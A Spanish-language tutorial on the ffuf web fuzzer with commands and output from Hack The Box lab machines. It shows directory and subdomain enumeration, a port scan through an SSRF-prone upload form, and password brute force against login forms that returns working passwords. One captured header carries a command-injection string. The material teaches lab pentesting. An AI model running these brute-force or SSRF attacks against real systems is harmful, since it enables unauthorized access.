15 minuto(s) estimado(s) de lectura
Fuff
herramienta para fuzzing web

Ffuf es una herramienta que sirve para descubrir rutas en un sitio web, como páginas, archivos o directorios que no están a simple vista. Funciona probando automáticamente muchas combinaciones de palabras hasta encontrar cuáles existen realmente en el servidor. A continuación veremos estas y otras utilidades.
Cuando empiezas a usar ffuf, es normal que en el primer escaneo salgan un montón de resultados que en realidad no significan nada: páginas que siempre devuelven el mismo contenido aunque el recurso no exista, códigos 200 engañosos o respuestas idénticas con distinto nombre. Por eso conviene usar la primera corrida de ffuf como una especie de “exploración”: la lanzas sin filtros, ves cómo responde el sitio y detectas qué patrones se repiten (por ejemplo, todas las respuestas falsas tienen el mismo tamaño). Una vez que reconoces ese comportamiento, cancelas el escaneo y lo vuelves a lanzar, pero ahora con filtros que descarten esas respuestas repetidas (por ejemplo con el filtro -fs
que elimina los resultados que tengan un tamaño de respuesta específico). Así, la segunda corrida ya está “limpia” y te muestra solo lo que realmente puede ser interesante. En otras palabras: primero observas el terreno, identificas el ruido y después vuelves a explorar, pero esta vez eliminando lo que ya sabes que no sirve.
Caso práctico: uso de filtros en ffuf
Cuando se hace fuzzing de subdominios (u otro) con ffuf, muchas veces el servidor devuelve respuestas repetitivas con el mismo tamaño. Esto provoca falsos positivos: parece que se encuentran muchos subdominios, pero en realidad todos muestran la misma página genérica.
1. Escaneo inicial (sin filtro por tamaño)
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/OneListForAll/dict/subdomains_short.txt -H "Host: FUZZ.ejemplo.com" -u http://ejemplo.com:37504/ -t 100 -fc 301,302,400 -c
Resultados (resumen):
mail [Status: 200, Size: 986]
www [Status: 200, Size: 986]
ns2 [Status: 200, Size: 986]
blog [Status: 200, Size: 986]
ftp [Status: 200, Size: 986]
panel [Status: 200, Size: 986]
... (y muchos más con el mismo tamaño)
Todos devuelven 200 OK y el mismo tamaño (986 bytes), lo que indica que son respuestas genéricas.
2. Escaneo aplicando filtro por tamaño
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/OneListForAll/dict/subdomains_short.txt -H "Host: FUZZ.ejemplo.com" -u http://ejemplo.com:37504/ -t 100 -fc 301,302,400 -fs 986 -c
Resultados:
admin [Status: 200, Size: 0]
test [Status: 200, Size: 0]
Con -fs 986 se descartan todas las respuestas idénticas y quedan solo las que son realmente diferentes.
En los ejemplos que veremos a continuación se recomienda agregar si es necesario el parámetro -fs
para evitar la detección de falsos positivos.
Detectar directorios
Para enumerar directorios se toma una wordlist (-w) y se va probando cada entrada en la URL indicada (-u), reemplazando la palabra clave FUZZ por cada valor de la lista. La opción -k permite ignorar errores de certificados en sitios HTTPS (para HTTP no se necesita), mientras que -c colorea la salida para que sea más legible. Con -t 200 se ejecutan hasta 200 peticiones en paralelo, acelerando el proceso. Los parámetros de filtrado (-fc) descartan respuestas con ciertos códigos HTTP (como 400, 403, 404 o 414).
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/OneListForAll/onelistforallshort.txt -u https://test.com/FUZZ -k -fc 400,403,404,414 -t 200 -c
Fuzzing con extensiones específicas
En este ejemplo se usa ffuf para descubrir archivos dentro de un directorio específico, añadiendo automáticamente extensiones como .txt y .php mediante el parámetro -e. De esta forma, cada palabra de la wordlist no solo se prueba tal cual, sino también combinada con las extensiones indicadas, lo que permite detectar archivos con formatos concretos.
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://94.237.60.55:39850/admin/FUZZ -e .txt,.php -fc 400,403,404,414 -t 300 -c
Buscar directorios con un escaneo recursivo
En este comando de ffuf lo más relevante es la opción -recursion: cuando se detecta un directorio válido, el programa vuelve a ejecutar el fuzzing dentro de él, explorando automáticamente más rutas. Con -recursion-depth 2 se define hasta qué nivel de subdirectorios se seguirá buscando (en este caso, dos niveles).
Además, se utiliza -e .php, lo que significa que, después de encontrar un directorio, ffuf también intentará descubrir archivos con extensión .php dentro de él. Este parámetro no es obligatorio: se pueden añadir otras extensiones (como .html, .txt, .bak) o incluso no usarlo si no se requiere buscar archivos específicos.
Por último, el flag -v activa el modo verbose, mostrando con mayor detalle el progreso de la exploración y dejando ver claramente cómo ffuf va entrando en los directorios y probando las extensiones configuradas.
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://94.237.53.82:44103/FUZZ -fc 400,403,404,414 -recursion -recursion-depth 2 -e .php -fs 0 -t 100 -c -v
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://94.237.53.82:44103/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
:: Filter : Response status: 400,403,404,414
________________________________________________
[Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 183ms]
| URL | http://94.237.53.82:44103/blog
| --> | http://94.237.53.82:44103/blog/
* FUZZ: blog
[INFO] Adding a new job to the queue: http://94.237.53.82:44103/blog/FUZZ
[Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 183ms]
| URL | http://94.237.53.82:44103/forum
| --> | http://94.237.53.82:44103/forum/
* FUZZ: forum
[INFO] Adding a new job to the queue: http://94.237.53.82:44103/forum/FUZZ
[INFO] Starting queued job on target: http://94.237.53.82:44103/blog/FUZZ
[Status: 200, Size: 1046, Words: 438, Lines: 58, Duration: 197ms]
| URL | http://94.237.53.82:44103/blog/home.php
* FUZZ: home.php
[INFO] Starting queued job on target: http://94.237.53.82:44103/forum/FUZZ
[Status: 200, Size: 21, Words: 1, Lines: 1, Duration: 196ms]
| URL | http://94.237.53.82:44103/forum/flag.php
* FUZZ: flag.php
:: Progress: [175328/175328] :: Job [3/3] :: 166 req/sec :: Duration: [0:19:13] :: Errors: 0 ::
Detección de subdominios
Para esta situación abordaremos dos casos, el primero en que se coloca FUZZ directamente en la URL. Por cada palabra de la wordlist, ffuf genera una petición hacia un subdominio diferente, como www.dominio.com, blog.dominio.com o mail.dominio.com.
Este método depende de que el subdominio exista en el DNS público. Si no hay un registro válido, lo normal es recibir un error de conexión. En cambio, si existe, el servidor responderá con un código HTTP (200, 301, etc.).
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/OneListForAll/dict/subdomains_short.txt -u https://FUZZ.inlanefreight.com -c -k
Y el segundo método en donde todas las peticiones se envían al mismo servidor base, pero se modifica la cabecera Host para simular diferentes subdominios.
Esto aprovecha una característica común de los servidores web llamada virtual hosts, donde un mismo servidor responde de manera distinta según el dominio solicitado en la cabecera. Así podemos descubrir subdominios que no aparecen en DNS público, pero que sí están configurados dentro del servidor.
┌──(root㉿nptg)-[/fuzzing]
└─# ffuf -w /usr/share/wordlists/OneListForAll/dict/subdomains_short.txt -H "Host: FUZZ.test.com" -u http://test.com -t 100 -fc 301,302,400 -c
Fuzzing usando la petición de Burpsuite
En este caso, se aprovecha BurpSuite para capturar una petición HTTP real y guardarla en un archivo (request.txt). Dentro de esa petición se coloca la palabra clave FUZZ en el punto exacto donde queremos probar diferentes valores (por ejemplo, un puerto, un nombre de archivo o un parámetro del formulario).
Luego, ffuf toma esa petición como plantilla (-request request.txt) y reemplaza FUZZ por cada palabra de la wordlist indicada (-w). Así se automatiza lo que en BurpSuite se haría manualmente con su módulo de Intruder: probar cientos o miles de variaciones sobre una misma petición.
┌──(root㉿nptg)-[/home/…/Documentos/HTB/Editorial/content]
└─# cat request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 308
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryo75uBVWJj6R5IPCH
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
Connection: keep-alive
------WebKitFormBoundaryo75uBVWJj6R5IPCH
Content-Disposition: form-data; name="bookurl"
http://localhost:FUZZ
------WebKitFormBoundaryo75uBVWJj6R5IPCH
Content-Disposition: form-data; name="bookfile"; filename="images.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryo75uBVWJj6R5IPCH--
La opción -ac (autocalibration) ayuda a filtrar respuestas repetitivas, reduciendo ruido y resaltando únicamente las respuestas que se diferencian.
┌──(root㉿nptg)-[/home/…/Documentos/HTB/Editorial/content]
└─# ffuf -w ports.txt -u http://editorial.htb/upload-cover -request request.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/nptg/Documentos/HTB/Editorial/content/ports.txt
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
:: Header : Host: editorial.htb
:: Header : Accept: */*
:: Header : Origin: http://editorial.htb
:: Header : Connection: keep-alive
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryo75uBVWJj6R5IPCH
:: Header : Referer: http://editorial.htb/upload
:: Data : ------WebKitFormBoundaryo75uBVWJj6R5IPCH
Content-Disposition: form-data; name="bookurl"
http://localhost:FUZZ
------WebKitFormBoundaryo75uBVWJj6R5IPCH
Content-Disposition: form-data; name="bookfile"; filename="images.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryo75uBVWJj6R5IPCH--
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 168ms]
:: Progress: [65535/65535] :: Job [1/1] :: 216 req/sec :: Duration: [0:04:46] :: Errors: 1 ::
Fuerza bruta de contraseñas
Con ffuf también se puede aplicar fuerza bruta sobre formularios de inicio de sesión. El proceso consiste en interceptar la petición con BurpSuite, guardarla en un archivo (por ejemplo requestdep.txt) y marcar con FUZZ el parámetro de la contraseña.
┌──(root㉿nptg)-[/home/…/Documentos/HTB/Nineveh/content]
└─# ffuf -w /usr/share/wordlists/rockyou.txt -u http://10.10.10.43/department/login.php -request requestdep.txt -fs 0,1639
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.10.43/department/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
:: Header : Host: 10.10.10.43
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
:: Header : Cookie: PHPSESSID=9tb48ff5tnvbtkk65nrt8p8884
:: Header : Connection: keep-alive
:: Header : Cache-Control: max-age=0
:: Header : Origin: http://10.10.10.43
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
:: Header : Referer: http://10.10.10.43/department/login.php
:: Header : Accept-Encoding: gzip, deflate, br
:: Data : username=admin&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1639
________________________________________________
1q2w3e4r5t [Status: 302, Size: 1706, Words: 444, Lines: 60, Duration: 140ms]
El ejemplo mostrado hace que cada palabra de la wordlist (rockyou.txt) sustituya FUZZ en el campo password, enviando múltiples intentos de inicio de sesión contra el usuario definido en la petición (username=admin).
El parámetro -fs 0,1639 sirve para filtrar respuestas que tienen siempre el mismo tamaño (páginas de error genéricas), mostrando solo aquellas que difieren. Gracias a este filtro, entre miles de intentos, ffuf destaca el resultado que provoca una respuesta distinta.
En la salida se observa que con la contraseña 1q2w3e4r5t la respuesta cambia: devuelve un 302 (redirección) y un tamaño diferente. Esto indica que la contraseña es válida y el sistema permitió el acceso.
Fuzzing para detectar una palabra en específico
En este ejemplo se utiliza ffuf para probar contraseñas, pero en lugar de filtrar por el tamaño de la respuesta (-fs), se emplea el parámetro -fr, que permite filtrar por una palabra o expresión regular contenida en la respuesta.
┌──(root㉿nptg)-[/home/…/Documentos/HTB/Nineveh/content]
└─# ffuf -w /usr/share/wordlists/rockyou.txt -k -request requestdb.txt -fr "Incorrect"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : https://nineveh.htb/db/index.php
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
:: Header : Sec-Fetch-Dest: document
:: Header : Referer: https://nineveh.htb/db/index.php?arg=1;%20phpinfo()
:: Header : Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
:: Header : Connection: keep-alive
:: Header : Host: nineveh.htb
:: Header : Sec-Ch-Ua-Mobile: ?0
:: Header : Sec-Ch-Ua-Platform: "Linux"
:: Header : Sec-Fetch-Site: same-origin
:: Header : Sec-Fetch-Mode: navigate
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
:: Header : Sec-Fetch-User: ?1
:: Header : Priority: u=0, i
:: Header : Cache-Control: max-age=0
:: Header : Sec-Ch-Ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
:: Header : Origin: https://nineveh.htb
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Cookie: PHPSESSID=sa5uto3l08mtbrsr8nsb3re1d7
:: Data : password=FUZZ&remember=yes&login=Log+In&proc_login=true
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Incorrect
________________________________________________
password123 [Status: 200, Size: 13949, Words: 641, Lines: 484, Duration: 153ms]
Esto indica que password123 es una contraseña válida, porque su respuesta fue distinta a las demás (no contenía el texto “Incorrect”).
El ffuf ejecutado funciona de la siguiente manera:
-
-w rockyou.txt → cada línea del diccionario reemplaza a FUZZ en la petición, probando miles de contraseñas.
-
-request requestdb.txt → se reutiliza la petición real interceptada (por ejemplo, desde BurpSuite) donde el parámetro password está marcado con FUZZ.
-
-fr “Incorrect” → se descartan todas las respuestas que contengan la palabra “Incorrect”, típica de un mensaje de error al fallar un login.
-
-k → permite ignorar problemas de certificados HTTPS.
De este modo, en lugar de fijarse en tamaños o códigos de estado, ffuf se centra en el contenido de la respuesta. Cuando aparece una contraseña válida, el servidor ya no muestra el mensaje “Incorrect”, por lo que esa respuesta pasa el filtro y aparece destacada.
Fuzzing con reenvío a BurpSuite
El parámetro -replay-proxy 'http://127.0.0.1:8080'
indica a ffuf que reenvíe cualquier resultado que pase los filtros hacia un proxy en localhost:8080, normalmente BurpSuite.
┌──(root㉿nptg)-[/home/nptg/Documentos/HTB/Academy]
└─# ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:37504/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 768 -replay-proxy 'http://127.0.0.1:8080'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://admin.academy.htb:37504/admin/admin.php
:: Wordlist : FUZZ: /home/nptg/Documentos/HTB/Academy/ids.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : id=FUZZ
:: Follow redirects : false
:: Calibration : false
:: ReplayProxy : http://127.0.0.1:8080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 768
________________________________________________
73 [Status: 200, Size: 787, Words: 218, Lines: 54, Duration: 184ms]
:: Progress: [1000/1000] :: Job [1/1] :: 215 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
En este caso, de entre 1000 intentos, el valor 73 devolvió una respuesta distinta (tamaño 787 bytes). Esa petición fue automáticamente reenviada a BurpSuite gracias al -replay-proxy, lo que permite investigarla con calma y realizar pruebas manuales más avanzadas.
Conclusión
ffuf se ha convertido en una de las herramientas más versátiles para el fuzzing en entornos de seguridad. Su capacidad de adaptarse a distintos escenarios —desde la enumeración de subdominios, directorios y archivos ocultos, hasta pruebas de fuerza bruta en formularios o análisis de respuestas personalizadas— lo hace imprescindible en cualquier proceso de reconocimiento y explotación.
La gran ventaja de ffuf es que combina rapidez, flexibilidad y precisión: permite usar filtros (-fs, -fc, -fr, -fw) para reducir ruido, integrar peticiones reales capturadas con BurpSuite, aplicar recursión en directorios, añadir extensiones, y hasta reenviar resultados relevantes directamente a un proxy para su análisis manual.
En resumen, ffuf no solo automatiza tareas repetitivas, sino que potencia el trabajo del pentester, facilitando descubrir rutas, subdominios y credenciales ocultas que de otro modo serían muy difíciles de detectar.